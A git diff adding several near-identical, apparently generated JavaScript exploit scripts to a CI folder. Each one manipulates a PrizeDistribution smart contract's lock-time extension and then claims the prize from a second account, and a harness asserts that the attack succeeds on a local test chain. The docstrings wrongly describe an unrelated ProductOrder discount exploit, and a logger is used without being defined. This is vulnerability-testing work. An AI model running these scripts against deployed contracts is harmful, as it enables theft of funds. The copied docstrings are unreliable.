time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-16.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-16.js new file mode 100644 index 00000000..256565be --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-16.js @@ -0,0 +1,156 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting sequential confusion manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts to avoid significant extensions + for (let i = 0; i < 8; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send a sequence of just below threshold amounts + for (let i = 0; i < 4; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold to avoid bonus period + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send a few minimal amounts again to create confusion + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Additional minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 4: Send a large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-17.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-17.js new file mode 100644 index 00000000..67958fe1 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-17.js @@ -0,0 +1,166 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting confusion and delay manipulation..."); + + // Step 1: Send minimal amounts to incrementally extend the lock time + for (let i = 0; i < 7; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to create larger extensions without triggering bonuses + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send alternating minimal and just-above-threshold amounts to create confusion + for (let i = 0; i < 3; i++) { + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(200); // Short delay between calls + + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 4: Send a significant amount to further extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-18.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-18.js new file mode 100644 index 00000000..54c229be --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-18.js @@ -0,0 +1,166 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting strategic timing manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to create larger extensions without triggering bonuses + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send alternating minimal and just-above-threshold amounts + for (let i = 0; i < 3; i++) { + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(200); // Short delay between calls + + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 4: Send a significant amount to further extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-19.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-19.js new file mode 100644 index 00000000..51c5e6e6 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-19.js @@ -0,0 +1,157 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting patterned manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just above the threshold to trigger minimal bonus periods + for (let i = 0; i < 3; i++) { + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send medium amounts to extend the lock time moderately + for (let i = 0; i < 3; i++) { + let mediumTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD / 2, // Medium amount + gas: 300000 + }); + + console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); + await sleep(400); // Short delay between calls to create slight time differences + } + + // Step 4: Send a significant amount to further extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-8.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-2.js similarity index 55% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-8.js rename to CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-2.js index d201f852..e4723db1 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-8.js +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-2.js @@ -16,10 +16,11 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-8.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); +let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -34,63 +35,65 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let otherAccount = envInfo.accounts[1]; // Another account to manipulate the contract balance - - console.log("Preparing to manipulate the extension cost..."); - - // Step 1: Increase the contract balance significantly - await contractInstance.methods.extendLockTime().send({ - from: otherAccount, - value: web3.utils.toWei('10', 'ether'), // Send a high amount to increase the balance - gas: 300000 - }); - await sleep(200); + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; - console.log("High balance injected, now withdrawing to cause underflow..."); + console.log("Starting to manipulate the prize amount..."); - // Step 2: Quickly reduce the balance by transferring to another account - let organizerTx = await contractInstance.methods.extendLockTime().send({ + // Manipulate the prize amount by sending a minimal amount, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ from: organizerAccount, - value: web3.utils.toWei('1', 'ether'), // Intended to be correct but timing causes underflow + value: 1, // Sending the minimal amount (1 wei) gas: 300000 - }); - await sleep(200); - - if (organizerTx.status) { - console.log("Transaction potentially caused underflow, verifying..."); - - // Verify the result by checking the unlock time - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - console.log(`New unlock time set to: ${newUnlockTime}`); - - return true; // Indicate potential success of exploit - } else { - console.error("Failed to manipulate the extension cost!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + }); + + console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } } - - - - - - - - - /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-20.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-20.js new file mode 100644 index 00000000..be6b1bfb --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-20.js @@ -0,0 +1,168 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting complex pattern manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to avoid triggering bonuses + for (let i = 0; i < 3; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Mix minimal and significant amounts to create confusion + for (let i = 0; i < 3; i++) { + // Send minimal amount + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(200); // Short delay between calls + + // Send significant amount + let significantTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, // Significant amount + gas: 300000 + }); + + console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 4: Send a final large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress 